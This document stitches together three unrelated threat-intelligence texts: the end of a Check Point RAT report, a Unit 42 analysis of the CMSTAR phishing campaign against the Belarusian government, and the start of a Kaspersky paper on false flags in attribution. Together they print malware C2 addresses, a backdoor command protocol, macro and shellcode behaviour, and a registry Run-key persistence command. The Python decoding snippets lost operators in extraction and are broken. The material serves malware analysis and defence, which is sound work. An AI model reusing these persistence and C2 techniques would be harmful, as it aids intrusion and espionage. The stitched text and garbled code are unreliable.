The following string will be appended to the output file: \r/////////////\r\nMail Find Webcam capture The malware may capture photos from an attached webcam.
Files are first saved with the name test.bmp, later converted to JPEG and saved under the new file name Cam.jpg, eventually exfiltrated to the CC server.
TCP Connection Table The malware will gather available metadata regarding current TCP connections using the GetTcpTable API, and send a formatted version of the obtained data to the CC server.
Screenshots The malware may take screenshots.
The filename used for screenshots is Screeny.jpeg.
Remote Shell (Live Command Execution) The malware creates the following process as a live command prompt: cmd.exe /c cmd.exe This process output and input are attached and redirected via pipes to the remote CC server, allowing the operator to type in commands to control the victim computer.
The following line is first sent to the server: Welcome To mpkshell Command Line (This Message Send From Server) Traffic Monitoring The malware may sniff all TCP and UDP traffic on the machine.
This is achieved through the use of RAW sockets.
The following status strings can be sent to the CC server: Initializing Winsock 2.2...
Creating RAW socket... Configuring socket for packet interception Starting the sniffing process... UDP Packet Information: Source IP: s DESTINATION IP: s SOURCE PORT: d DESTINATION PORT: d PACKET DATA:  TCP Packet Information: Source IP: s DESTINATION IP: s SOURCE PORT: d DESTINATION PORT: d  2015 Check Point Software Technologies Ltd. All rights reserved      36 If the current user privileges are insufficient for such action, the following error is presented: the processs is not admin try after restart to while mpkProcess To Admin...
File Exfiltration The malware may exfiltrate any file to the remote CC server.
The malware also contains the ability to enumerate all files on the system or find a specific file with the required filename specified by the operator.
Upon file exfiltration, the file is checked for size.
This is performed in order to send the file in 4Kb chunks, where each chunk frame is sized 0x1014h bytes.
Before uploading any file to the CC server, the malware will report its size: length: d After sending each chunk, the malware will report the current transfer status: d Bytes / d Bytes When the transfer will be finished, it will report completion using the following string: Completed: d Bytes Downloaded.
If there was any problem, this string will be reported: Failed to open s, s not found.
Communication protocol The malware uses raw sockets over IP protocol (IPPROTO_IP flag), effectively implementing its own protocol for data transfer.
The executables own File Version Info is parsed to retrieve the server IP, trivially encoded into the Company value: 2015 Check Point Software Technologies Ltd. All rights reserved      37 This data contains hardcoded IP address and port of CC server.
In this sample it is: 83.170.33.67:9090 A connection will be established to that IP, while sending periodic keep-alive messages, containing these 6 bytes: 123456 File-exfiltration packets are 0x1014h bytes long.
The first 2 bytes indicate the type of file to be exfiltrated: 0811hlogs (initial packet) 0810hlogs (subsequent packets) 080Fhlogs (final packet) 0BCDhwebcam images (initial packet) 0BCFhwebcam images (subsequent packets) 0BCEhwebcam images (final packet) 0803hscreenshots (initial packet) 0805hscreenshots (subsequent packets) 0804hscreenshots (final packet) 13C2herror with file The filename is located at offset 0x08h of the first packet.
Subsequent packets include file contents only.
The Check Point Incident Response Team is available to investigate and resolve complex security events that span from malware events, intrusions or denial of service attacks.
The team is available 24x7x365 by contacting emergency-responsecheckpoint.com or calling 866-923-0907 2015 Check Point Software Technologies Ltd. All rights reserved.
By Josh Grunzweig and Robert Falcone 9/28/2017 Threat Actors Target Government of Belarus Using CMSTAR Trojan researchcenter.paloaltonetworks.com /2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ Palo Alto Networks Unit 42 has identified a series of phishing emails containing updated versions of the previously discussed CMSTAR malware family targeting various government entities in the country of Belarus.
We first reported on CMSTAR in spear phishing attacks in spring of 2015 and later in 2016.
In this latest campaign, we observed a total of 20 unique emails between June and August of this year that included two new variants of the CMSTAR Downloader.
We also discovered two previously unknown payloads.
These payloads contained backdoors that we have named BYEBY and PYLOT respectively.
Figure 1 Diagram of the attack sequence Phishing Emails Between June and August of this year, we observed a total of 20 unique emails being sent to the following email addresses: Email Address Description pressmod.mil[.
]by Press Service of the Ministry of Defense of the Republic of Belarus baranovichi_eumod.mil[.
]by Baranovichi Operational Management of the Armed Forces modmailmod.mil[.
]by Ministry of Defense of the Republic of Belarus adminmod.mil[.
]by Ministry of Defense of the Republic of Belarus itscmod.mil[.
]by Unknown.
Likely used by Ministry of Defense of the Republic of Belarus mineuvsmod.mil[.
]by Minsk Operational Administration of the Armed Forces informmod.mil[.
]by Unknown.
Likely used by Ministry of Defense of the Republic of Belarus uporov_milcoopmod.mil[.
]by Unknown.
Likely used by Ministry of Defense of the Republic of Belarus videogpk.gov[.
]by State Border Committee of the Republic of Belarus armscontrolmfa.gov[.
]by International Security and Arms Control Department, Ministry of Foreign Affairs ablameikomia[.
]by Unknown.
Likely used by the Ministry of Internal Affairs of the Republic of Belarus These emails contained a series of subject lines, primarily revolving around the topic of -2017 ( West-2017), also known in English as Zapad 2017.
Zapad 2017 was a series of joint military exercises conducted by the Armed Forces of the Russian Federation and the Republic of Belarus, held from September 14th to 20th in 2017.
The full list of subject lines is as follows: Fwd:  -2017 [Translation: Fwd:Preparing for the West-2017] [Translation: graduation] -2017 [Translation: To West-2017] -2017 [Translation: West-2017] An example of some of the previously mentioned emails may be seen below.
1/12 https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ https://researchcenter.paloaltonetworks.com/tag/cmstar/ https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/ https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/ https://ru.wikipedia.org/wiki/D097D0B0D0BFD0B0D0B4-2017 https://en.wikipedia.org/wiki/Zapad_2017_exercise Figure 2 Phishing email sent to Belarus government (1/2) Figure 3 Phishing email sent to Belarus government (2/2) Decoy Documents We observed that the attachments used in these emails contained a mixture of file types.
RTF documents, Microsoft Word documents, and a RAR archive.
The RAR archive contained a series of images, a decoy document, and a Microsoft Windows executable within it.
The executable has a .scr file extension, and is designed to look like a Windows folder, as seen below: Figure 4 Payload disguising itself as a Microsoft Windows folder 2/12 The rough translation of the folder and file names above are Preparations for large-scale West-2017 exercises in this format are being held for the first time.
Within the actual folder, there are a series of JPG images, as well as a decoy document with a title that is translated to Thousands of Russian and Belarusian military are involved in the training of the rear services.
Figure 5 Embedded images and decoy document within RAR The decoy document contains the following content: Figure 6 Decoy document within RAR The other RTF and Word documents used additional decoy documents, which can be seen below.
3/12 Figure 7 Decoy document with translation (1/2) Figure 8 Decoy document with translation (2/2) While we observed different techniques being used for delivery, all attachments executed a variant of the CMSTAR malware family.
We observed minor changes between variants, which we discuss in the CMSTAR Variations and Payloads section of the blog post.
The Word documents, which we track as Werow, employ malicious macros for their delivery.
More information about these macros may be found in the Appendix of the blog post.
Additionally, we have included a script that extracts these embedded payloads that can also be found in the Appendix.
The RTF documents made use of CVE-2015-1641.
This vulnerability, patched in 2015, allows attackers to execute malicious code when these specially crafted documents are opened within vulnerable instances of Microsoft Word.
The payload for these samples is embedded within them and obfuscated using a 4-byte XOR key of 0xCAFEBABE.
We have included a script that can be used to extract the underlying payload of these RTFs statically that can be found in the Appendix.
The SCR file mentioned previously drops a CMSTAR DLL and runs it via an external call to rundll32.exe.
CMSTAR Variations and Payloads In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets.
The biggest change observed between them looks to be minor modifications made to the string obfuscation routine.
A very simple modification to the digit used in subtraction was modified between the variants, as shown below: 4/12 https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 Figure 9 String obfuscation modifications between CMSTAR variants The older variation, named CMSTAR.A, was discussed in a previous blog post entitled, Digital Quartermaster Scenario Demonstrated in Attacks Against the Mongolian Government .
The CMSTAR.B variant was witnessed using both a different mutex from CMSTAR.A, as well as a slightly modified string obfuscation routine.
The mutexes used by CMSTAR ensure that only one instance of the malware runs at a time.
The CMSTAR.C variant used the same mutex as CMSTAR.B, however, again used another slightly modified string obfuscation routine.
We found all CMSTAR variants using the same obfuscation routine when I payload was downloaded from a remote server.
We have included a tool to extract mutex and C2 information from all three CMSTAR variants, as well as a tool to decode the downloaded payload: both may be found in the Scripts section.
An example of CMSTAR downloading its payload may be found below: Figure 10 Example HTTP download by CMSTAR When expanding the research to identify additional CMSTAR.B and CMSTAR.C variants, we identified a total of 31 samples.
Of these 31 samples, we found two unique payloads served from three of the C2 URLSOne of which was downloaded from a sample found in the phishing attacks previously described.
Both payloads contained previously unknown malware families.
We have named the payload found in the email campaign PYLOT, and the malware downloaded from the additional CMSTAR samples BYEBY.
Both malware families acted as backdoors, allowing the attackers to execute commands on the victim machine, as well as a series of other functions.
More information about these individual malware families may be found in the appendix.
Conclusion During the course of this research, we identified a phishing campaign consisting of 20 unique emails targeting the government of Belarus.
The ploys used in these email and decoy documents revolved around a joint strategic military exercise of the Armed Forces of the Russian Federation and the Republic of Belarus, which took place between September 14th and September 20th of this year.
While looking at the emails in question, we observed two new variants of the CMSTAR malware family.
Between the samples identified and others we found while expanding our research scope, we identified two previously unknown malware families.
Palo Alto customers are protected from this threat in the following ways: Tags have been created in AutoFocus to track CMSTAR, BYEBY, and PYLOT All observed samples are identified as malicious in WildFire Domains observed to act as C2s have been flagged as malicious Traps 4.1 identifies and blocks the CVE-2015-1641 exploit used in these documents Traps 4.1 blocks the macros used in the malicious Word documents A special thanks to Tom Lancaster for his assistance on this research.
Appendix Werow Macro Analysis The attacker used the same macro dropper all of the observed Microsoft Word documents we analyzed for this campaign.
It begins by building the following path strings: APPDATA\d.doc APPDATA\Microsoft\Office\WinCred.acl The d.doc path will be used to store a copy of the Word document, while the WinCred.acl will contain the dropped payload, which is expected to be a DLL.
5/12 https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/ https://autofocus.paloaltonetworks.com//tag/Unit42.Cmstar https://autofocus.paloaltonetworks.com//tag/Unit42.BYEBY https://autofocus.paloaltonetworks.com//tag/Unit42.PYLOT Figure 11 Macro used to drop CMSTAR Werow uses rudimentary obfuscation to hide and re-assemble the following strings: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinCred rundll32 APPDATA\Microsof\Office\WinCred.acl ,WinCred These strings will be used at the end of the macros execution to ensure persistence via the Run registry key.
The malware proceeds to read an included overlay within the original Word document from a given offset.
This data is decoded using and XOR operation, as well as an addition operation.
It can be represented in Python as follows: 6/12 1 2 3 4 5 6 7 8 9 10 11 12 def decrypt_xor(data, key, key_offset): output seed  ord(key) for d in data: ord_d  ord(d) if ord_d  0 and ord_d  seed: nvalue  ord_d  seed seed  (seed  key_offset)  0x100 output  chr(nvalue) else: output  d return output Once this overlay is decoded, it is written to the WinCred.acl file and loaded with the WinCred export.
A script has been provided in the Scripts section that, in conjunction with oletools, can statically extract the embedded DLL payload from these documents.
RTF Shellcode Analysis The RTF documents delivered in this attack campaign appear to be created by the same builder.
All of the RTF files attempt to exploit CVE-2015-1641 to execute shellcode on the targeted system.
Please reference https://technet.microsoft.com/en-us/library/security/ms15-033.aspx for more information.
The shellcode executed after successful exploitation begins by resolving the API functions it requires by enumerating the API functions within loaded modules in the current process.
It then builds the following list of values: The shellcode then enumerates the API functions, subjects them to a ROR7 hashing routine and XORs the resulting hash with 0x10ADBEEF.
It uses the result of this arithmetic to compare with the list of values above to find the API functions it requires to carry out its functionality.
ROR7 ROR70x10ADBEEF API Func 1a22f51 110f91be WinExec 741f8dc4 64b2332b WriteFile 94e43293 84498c7c CreateFileA daa7fe52 ca0a40bd UnmapViewOfFile dbacbe43 cb0100ac SetFilePointer ec496a9e fce4d471 GetEnvironmentVariableA ff0d6657 efa0d8b8 CloseHandle After resolving the API functions, the shellcode then begins searching for the embedded payload and decoy within the initial RTF file.
It does so by searching the RTF file for three delimiters, specifically 0xBABABABABABA, 0xBBBBBBBB and 0xBCBCBCBC, which the shellcode uses to find the encrypted payload and decoy.
The shellcode then decrypts the payload by XORing four bytes at at time with the key 0xCAFEBABE, and decrypts the decoy by XORing four bytes at a time using the key 0xBAADF00D.
Here is a visual representation of the delimiters and embedded files: After decrypting the payload, it saves the file to the following location: APPDATA\Microsoft\Office\OutL12.pip The shellcode then creates the following registry key to automatically run the payload each time the system starts: Software\Microsoft\Windows\CurrentVersion\Run : Microsoft The shellcode saves the following command to this autorun key, which will execute the OutL12.pip payload, specifically calling its WinCred exported function: rundll32.exe APPDATA\Roaming\Microsoft\Office\OutL12.pip,WinCred The shellcode will then overwrite the original delivery document with the decrypted decoy contents and open the new document.
PYLOT Analysis 7/12 This malware family was named via a combination of the DLLs original name of pilot.dll, along with the fact it downloads files with a Python (.py) file extension.
PYLOT begins by being loaded as a DLL with the ServiceMain export.
It proceeds to create the following two folders within the TEMP path: KB287640 KB887209 PYLOT continues to load and decode an embedded resource file.
This file contains configuration information that is used by the malware throughout its execution.
The following script, written in Python, may be used to decode this embedded resource object: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import sys import hexdump file  sys.argv[1] fh  open(file, rb) fdata  list(fh.read()) fh.close() fdata_len  len(fdata) c  fdata_len-1 output while c gt 1: fdata[c]  chr( ord(fdata[c])  ord(fdata[c-2]) ) c - 1 fdata  .join(fdata) hexdump.hexdump(fdata) Looking at the decoded data, we see the following: Figure 12 Decoded embedded configuration information The malware continues to collect the following information from the victim computer: Computer name 8/12 IP addresses present on the machine MAC addresses Microsoft Windows version information Windows code page identifier information This information is used to generate a unique hash for the victim machine.
PYLOT then begins entering its C2 handler routine, where it will use HTTP for communication with the remote host.
Data sent to the remote C2 server is encrypted using RC4 with the previously shown key of BBidRotnqQpHfpRTi8cR.
It is then further obfuscated by base64-encoding this encrypted string.
An example of this HTTP request containing this data can be seen below.
Figure 13 HTTP request made by PYLOT to remote server The decrypted data sent in the request above is as follows.
Note that all of this custom data format has not been fully identified, however, were able to see various strings, including the embedded configuration string of fGAka0001, as well as the victim hash of 100048048.
Figure 14 Decrypted data sent by PYLOT to remote server The base64-encoded string at the end of the data contains the collected victim machine information from earlier, separated by a  delimiter.
The remote C2 server responds using the same data format.
An example response can be seen below.
Figure 15 Response from remote C2 server The decoded data at the end of the response contains various URIs to be used by the malware to receive commands, as well as other information that has yet to be fully researched.
1 /duakzu/furs.py/ugvrf/pvoi.py/tydfw/pld.py/bpnij/syau.py/plugin/plugin.pyeycHhHKVQUnuAwtNchvYjScGYMtVMzMqYmxBmCEwieQpKgsokpvrxknPQRvnkOHDywCImVZxHxRdvlePjgnbPXsyTzreBEckVVFbuUHHcvLPGmqxHUNWondMIntBiVVO 9/12 A number of commands have been identified within PYLOT, including the following: Download batch script Run batch script Delete file Rename file Execute file Download file Upload file BYEBY Analysis BYEBY was named based on a string within the malware itself.
Most strings found within this malware are concatenated to 6 characters.
One such example was an instance where a debug string contained BYE BY, which was likely a concatenated form of the phrase BYE BYE.
This malware is loaded as a DLL, with an export name of ServiceMain.
When the malware is initially loaded, it begins by checking to see if it is running within either of the following paths: [SYSTEM32]\svchost.exe [SYSTEM32]\rundll32.exe If it finds itself not running in either location, it will immediately exit.
This is likely a technique used to bypass various sandboxing systems.
Should it find itself running as svchost.exe, it will write the current timestamp and a value of V09SS010 (Base64 Decoded: WORKMN) to a file named vmunisvc.cab within the users local TEMP folder.
This file acts as a lot file and is written to frequently throughout the malwares execution.
When the malware runs within the context of svchost.exe, it bypasses the installation routines and immediately enters the C2 handler.
When BYEBY is run within the context of rundll32.exe, it expects itself to be running for the first time.
As such, it will register itself as a service with a name of VideoSrv.
After this service is created, BYEBY proceeds to enter its C2 handler function in a new thread.
BYEBY uses TLS for network communication, connecting to the following host on port 443: oeiowidfla22[.
]com After the initial connection is established, BYEBY will collect the following system information and upload it to the remote C2: Hostname IP Address Embedded String of WinVideo Major Windows Version Minor Windows Version Embedded String of 6.1.7603.16000 The malware is configured to accept a number of commands.
These appear to be Base64-encoded strings that, when decoded, provide their true meaning.
Only the beginning of the commands are checked.
The Base64-decoded strings have been included for the benefit of the reader.
aGVsbG8h [Decoded: hello] R09PREJZ [Decoded: GOODBY] TElTVCBE [Decoded: LIST D] U1RBUlRD [Decoded: STARTC] Q09NTUFO [Decoded: COMMAN] VFJBTlNG [Decoded: TRANSF] RVhFQ1VU [Decoded: EXECUT] A mapping of commands and their descriptions has been provided: Command Description aGVsbG8h Authenticate with the remote C2 server.
R09PREJZ Close socket connection with remote server.
TElTVCBE List drives on the victim machine.
U1RBUlRD Start an interactive shell on the victim machine.
Q09NTUFO Execute a command in the interactive shell VFJBTlNG Upload or download files to the victim machine.
RVhFQ1VU Execute command in a new process.
Scripts We created multiple scripts during the course of our research.
We are sharing them here to assist other researchers or defenders that encounter this malware.
extract_cmstar_doc.py  Script to extract the embedded CMSTAR payload from Word documents.
extract_cmstar_rtf.py Script to extract the embedded CMSTAR payload from RTFs.
extract_cmstar_strings.py  Script to identify possible mutex and C2 strings from CMSTAR variants.
decode_cmstar_payload.py  Script to decode a payload downloaded by CMSTAR.
Indicators of Compromise 10/12 https://github.com/pan-unit42/public_tools/blob/master/cmstar/extract_cmstar_doc.py https://github.com/pan-unit42/public_tools/blob/master/cmstar/extract_cmstar_rtf.py https://github.com/pan-unit42/public_tools/blob/master/cmstar/extract_cmstar_strings.py https://github.com/pan-unit42/public_tools/blob/master/cmstar/decode_cmstar_payload.py CMSTAR Variants Identified in Phishing Campaign 65d5ef9aa617e7060779bc217a42372e99d59dc88f8ea2f3b9f45aacf3ba7209 2a0169c72c84e6d3fa49af701fd46ee7aaf1d1d9e107798d93a6ca8df5d25957 4da6ce5921b0dfff9045ada7e775c1755e6ea44eab55da7ccc362f2a70ce26a6 2008ec82cec0b62bdb4d2cea64ff5a159a4327a058dfd867f877536389a72fb6 cecd72851c265f885ff02c60cbc3e6cbf1a40b298274761f623dfa44782a01f8 d8c0f8ecdeceba83396c98370f8f458ea7f7a935aabbcc3d41b80d4e85746357 2c8267192b196bf8a92c8b72d52096e46e307fa4d4dafdc030d3e0f5b4145e9e 2debf12b1cb1291cbd096b24897856948734fa62fd61a1f24d379b4224bda212 79b30634075896084135b9891c42fca8a59db1c0c731e445940671efab9a0b61 b0065fc16ae785834908f024fb3ddd4d9d62b29675859a8e737e3b949e85327a 16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5 6843d183b41b6b22976fc8d85e448dcc4d2e0bd2c159e6d966bfd4afa1cd9221 3c3efa89d1dd39e1112558af38ba656e048be842a3bedb7933cdd4210025f791 b2bebb381bc3722304ab1a21a21e082583bf6b88b84e7f65c4fdda48971c20a2 09890dc8898b99647cdc1cceb97e764b6a88d55b5a520c8d0ea3bfd8f75ed83b fd22973451b88a4d10d9f485baef7f5e7a6f2cb9ce0826953571bd8f5d866c2a CMSTAR Download Locations in Phishing Campaign http://45.77.60[.
]138/YXza9HkKWzqtXlt.dat http://45.77.60[.
]138/mePVDjnAZsYCw5j.dat http://45.77.60[.
]138/UScHrzGWbXb01gv.dat http://45.76.80[.
]32/tYD7jzfVNZqMfye.dat http://45.77.60[.
]138/liW0ecpxEWCfIgU.dat http://45.77.60[.
]138/ezD19AweVIj5NaH.dat http://45.77.60[.
]138/jVJlw3wp379neaJ.dat http://108.61.175[.
]110/tlhXVFeBvT64LC9.dat http://45.77.60[.
]138/HJDBvnJ7wc4S5qZ.dat http://45.77.60[.
]138/JUmoT4Pbw6U2xcj.dat http://108.61.175[.
]110/oiUfxZfej29MAbF.dat http://45.77.60[.
]138/cw1PlY308OpfVeZ.dat http://45.77.60[.
]138/VFdSKlgCAZD7mmp.dat http://45.77.60[.
]138/c2KoCT5OHcVwGi7.dat http://45.77.60[.
]138/3kK24dXFYRgM6Ac.dat http://45.77.60[.
]138/WsEeRyHEhLO1kUm.dat PYLOT SHA256 7e2c9e4acd05bc8ca45263b196e80e919ff60890a872bdc0576735a566369c46 PYLOT C2 wait.waisttoomuchmind[.
]com BYEBY SHA256 383a2d8f421ad2f243cbc142e9715c78f867a114b037626c2097cb3e070f67d6 BYEBY C2 oeiowidfla22[.
]com CMSTAR.B SHA256 8609360b43498e296e14237d318c96c58dce3e91b7a1c608cd146496703a7fac f0f2215457200bb3003eecb277bf7e3888d16edcf132d88203b27966407c7dc3 aecf53a3a52662b441703e56555d06c9d3c61bddf4d3b23d9da02abbe390c609 960a17797738dc0bc5623c74b6f8a5d74375f6d18d20ba18775f26a43898bae6 e37c045418259ecdc07874b85e7b688ba53f5a7dc989db19d7e8c440300bd574 75ea6e8dfaf56fb35f35cb043bd77aef9e2c7d46f3e2a0454dff0952a09c134f a65e01412610e5ed8fde12cb78e6265a18ef78d2fd3c8c14ed8a3d1cef17c91d 7170b104367530ae837daed466035a8be719fdb17423fc01da9c0ded74ca6ad1 11/12 13acddf9b7c2daafd815cbfa75fbb778a7074a6f90277e858040275ae61a252b 625ed818a25c63d8b2c264d0f5bd96ba5ad1c702702d8ffaa4e0e93e5f411fac a56cd758608034c90e81e4d4f1fe383982247d6aeffd74a1dd98d84e9b56afdf a4b969b93f7882ed2d15fd10970c4720961e42f3ae3fced501c0a1ffa3896ff5 e833bbb79ca8ea1dbeb408520b97fb5a1b691d5a5f9c4f9deabecb3787b47f73 8e9136d6dc7419469c959241bc8745af7ba51c7b02a12d04fec0bc4d3f7dcdf0 CMSTAR.B Download Locations http://108.61.175[.
]110/tlhXVFeBvT64LC9.dat http://104.238.188[.
]211/gl7xljvn3fqGt3u.dat http://45.77.60[.
]138/c2KoCT5OHcVwGi7.dat http://108.61.175[.
]110/gkMmqVvZ7gGGxpY.dat http://108.61.175[.
]110/z_gaDZyeZXvScQ6.dat http://108.61.175[.
]110/bDtzGVtqgiJU9PI.dat http://45.77.60[.
]138/liW0ecpxEWCfIgU.dat http://45.77.60[.
]138/JUmoT4Pbw6U2xcj.dat http://108.61.175[.
]110/oiUfxZfej29MAbF.dat http://108.61.103[.
]123/jvZfZ0gdTWtr46y.dat http://108.61.103[.
]123/06JcD5jz5dSHVAy.dat http://108.61.103[.
]123/nj3dsMMpyQQDBF3.dat http://108.61.103[.
]123/fHZvWtBGlFvs2Nr.dat http://45.77.60[.
]138/w57E8dktKb9UQyV.dat CMSTAR.C SHA256 85e06a2beaa4469f13ca58d5d09fec672d3d8962a7adad3c3cb74f3f9ef1fed4 b8ef93227b59e6c8d3a1494b4860d15be819fae17b57fd56bfff9a51b7972ff0 9e6fdbbc2371ac8bc6db3b878475ed0b0af8950d50a4652df688e778beb87397 4e38e627ae21f1a85aa963ca990a66cf75789b450605fdca2f31ee6f0f8ab8f2 f4ff0ca7f2ea2a011a2a4615d9b488b7806ff5dd61577a9e3a9860f2980e7fc0 8de3fa2614b1767cfd12936c5adf4423ef25ea60800fa170752266e0ca063274 38197abde967326568e101b65203c2efa75500e5f3c084b6dd08fd1ba1430726 726df91a395827d11dc433854b3f19b3e28eac4feff329e0bdad93890b03af84 5703565ec64d72eb693b9fafcba5951e937c8ee38829948e9518b7d226f81c10 d0544a3e6d1b34b8b4e976c7fc62d4500f28f617e2f549d9a3e590b71b1f9cc5 2a8e5551b9905e907da7268aba50fcbc526cfd0549ff2e352f9f4d1d71bf32a7 d7cd6f367a84f6d5cf5ffb3c2537dd3f48297bd45a8f5a4c50190f683b7c9e90 8f7294072a470b886791a7a32eedf0f0505aaecec154626c6334d986957086e4 6419255d017b217fe984d3439694eb96806d06c7ea41a422298650969028c08c CMSTAR.C Download Locations http://45.77.58[.
]49/54xfapkezW64xDE.dat http://45.77.58[.
]49/54xfapkezW64xDE.dat http://45.77.62[.
]181/naIXl13kqeV7Y2j.dat http://45.77.58[.
]160/9EkCWYA3OtDbz1l.dat http://45.77.58[.
]160/8h5NPYB5fAn301E.dat http://45.77.58[.
]160/9EkCWYA3OtDbz1l.dat http://45.77.60[.
]138/3kK24dXFYRgM6Ac.dat http://45.77.60[.
]138/ezD19AweVIj5NaH.dat http://45.77.60[.
]138/VFdSKlgCAZD7mmp.dat http://45.77.60[.
]138/HJDBvnJ7wc4S5qZ.dat http://45.77.60[.
]138/jVJlw3wp379neaJ.dat http://45.77.60[.
]138/YXza9HkKWzqtXlt.dat http://45.77.60[.
]138/UScHrzGWbXb01gv.dat http://45.77.60[.
]138/WsEeRyHEhLO1kUm.dat 12/12 Threat Actors Target Government of Belarus Using CMSTAR Trojan Phishing Emails Decoy Documents CMSTAR Variations and Payloads Conclusion Appendix Werow Macro Analysis RTF Shellcode Analysis PYLOT Analysis BYEBY Analysis Scripts Indicators of Compromise CMSTAR Variants Identified in Phishing Campaign CMSTAR Download Locations in Phishing Campaign PYLOT SHA256 PYLOT C2 BYEBY SHA256 BYEBY C2 CMSTAR.B SHA256 CMSTAR.B Download Locations CMSTAR.C SHA256 CMSTAR.C Download Locations
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 1VIRUS BULLETIN CONFERENCE OCTOBER 2016 WAVE YOUR FALSE FLAGS DECEPTION TACTICS MUDDYING ATTRIBUTION IN TARGETED ATTACKS Brian Bartholomew  Juan Andres Guerrero-Saade Kaspersky Lab, USA Email brian.bartholomew, juan.guerrero kaspersky.com ABSTRACT This paper takes a comprehensive look at the current state of attribution in targeted attack research and at deliberate attempts by the adversary to obstruct this process.
The paper includes common bases for attribution, practical and methodological complications, and examples of purposeful abuse by sophisticated threat actors in the wild.
INTRODUCTION Attribution is often the most prominent point of interest and contention when it comes to threat intelligence, both for direct recipients and the general public alike.
Despite this pervasive interest, the attribution phase of the analysis cycle is little understood and the complications that arise therein are often ignored.
Similarly, the value of attribution remains largely unquestioned.
We will not argue that attribution provides no value.
However, a thorough study of the methods for arriving at attribution and the data available to reach these conclusions will reveal the shaky foundation of attribution in threat intelligence and hopefully prove a cautionary tale for threat intelligence producers as well as recipients making decisions on the basis of attribution claims.
At a time when hacking back is discussed as a legitimate option for victims, and governments are willing to take heavy-handed geopolitical retribution on the basis of threat intelligence products, misattribution can have a hefty cost.
Moreover, attackers aware of the reactions taken by victim nations and companies in the face of audacious attribution claims may seek this tertiary effect purposefully.
Acknowledging the space for error in attribution, threat intelligence circles often raise this possibility under the vague threat of false fl ag operations.
However, little has been provided publicly to substantiate this possibility.
As part of our work in Kaspersky Labs Global Research and Analysis Team (GReAT), we have been uniquely positioned to witness both general and specifi c cases of manipulation of indicators by attackers of medium-to- advanced skill attempting to mislead researchers and other nosy onlookers.
Rather than resort to innuendo, we will provide multiple and diverse examples of manipulation that showcase the abuse potential currently being exploited by attackers in the wild.
By substantiating the case for false fl ags, we intend to raise a general awareness of the complications involved in investigating targeted attacks.
We hope that these cautionary tales will also reach the consumers of threat intelligence products to temper their expectations and reactions to attribution claims and hopefully dull the edge currently leveraged by cunning attackers interested in casting blame for their nefarious activities onto unsuspecting nation states or unrelated threat actors.
What follows will cover the general approach to attribution and its basis.
We will then present overviews of multiple examples of purposeful manipulation of attributory indicators to showcase different forms of manipulation, each displaying varying degrees of cunning and success potential.
Armed with these examples, we will explore general and methodological complications.
Finally, we discuss some general refl ections to further a deeper discussion of the value and risks of attribution for consumers and producers alike.
ATTRIBUTING TARGETED ATTACKS The expression attribution is hard is often bandied about, either apologetically or in jest.
Its easier than explaining that, in fact, attribution relies on a combination of fungible technical indicators, mistakes, overlaps, and luck.
Sloppy or careless operators (such as those nation-state actors who believe they can act with impunity) are wont to provide more data than they should, like debug paths and language strings, or to reuse infrastructure from previous attacks, which allows researchers to group them into a threat actor cluster.
Sometimes our luck is such that an IP address will point us at an incriminating location or we fi nd a widely reused handle rife with personal information.
Other times, there are little to no indicators pointing us in any particular direction.
Attribution is an important part of the threat intelligence (TI) process but it isnt one that can always be fulfi lled with any certainty.
Though the analysis process adapts and changes on a case-to- case basis, we can discuss the most common bases for attribution claims encountered during targeted attack research.
What follows should impress the reader as to the inexactitude and need for interpretation in every step of the attribution process.
Heaping several of these indicators together may paint a more cohesive picture but it is nonetheless a series of intuitions ideally (but not always) pointing in the same direction.
The question to keep in mind is what makes a satisfactory attribution claim?,
particularly the sort with such certainty as to justify further action (be it legislative, political, law enforcement, or retaliatory CNA)1.
Timestamps A great benefi t of the Portable Executable fi le format is the inclusion of compilation times.
Though these can be altered with ease, many samples include original timestamps.
Beyond an obvious indication of an actors longevity, timestamps allow for an understanding of specifi c campaigns as well as the evolution of an actors toolkit throughout the years.
With a large enough collection of related samples, its also possible to create a timeline of the campaign operators workday.
Where these operate in any professional setting or with any semblance of discipline, its possible to match the normal peaks and troughs of a workday and pinpoint a general timezone for their operations.
1 A topic further addressed in the fi nal section of this paper.
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 2 VIRUS BULLETIN CONFERENCE OCTOBER 2016 Strings, debug paths, and metadata Malware binaries often include several artifacts of their construction in the form of strings and debug paths.
Even perfectly innocuous strings used to describe the normal operations of a backdoor can give away impressions of the malware authors.
The most obvious is their preferred language, particularly when it comes to rare languages in the targeted attack landscape, but also indicating language profi ciency with broken English showcasing the colloquial shortcomings of the coder.
Among these strings, a favourite of TI researchers is the debug path: a string describing the folder structure leading up to fi les from the time of development that made its way into the fi nal binary.
Debug paths most often reveal a username but may also (in the case of organized coders) reveal internal naming conventions like internal tool, project or campaign names.
Another telling resource is the presence of metadata both in malware binaries as well as dropper fi les like decoy or macro documents.
From time to time, binary resources will contain language IDs that refl ect the confi guration of the developers system in telling ways, perhaps pointing to the systems native language.
Phishing documents are also often riddled with metadata.
Disciplined actors regularly employ virtual machines with nondescript usernames and software registrations, usually refl ecting the use of pirated software with common fi le attributes or resources pointing to generic, publicly traded exploit kits.
However, metadata will occasionally include original user handles and unintentional save state information that points to the actual authors machine.
Infrastructure and backend connections A preferred method for grouping targeted attack activity together is through cataloguing of the malicious use of network infrastructure.
Command-and-control infrastructure can be costly and diffi cult to maintain, with the added complication that availability may be disrupted by researchers, law enforcement, or a spooked system administrator (in the case of compromised infrastructure).
Even well-resourced attackers have a tendency for reusing command-and-control or phishing infrastructure.
For threat intelligence teams building databases of targeted attack-related infrastructure, this is often the most telling sign of an attacker resurfacing or retooling.
In rare instances, multiple attack groups may go after the same vulnerable server (particularly with teams that insist on using compromised infrastructure rather than mounting their own) but this remains rare enough to be an outlier.
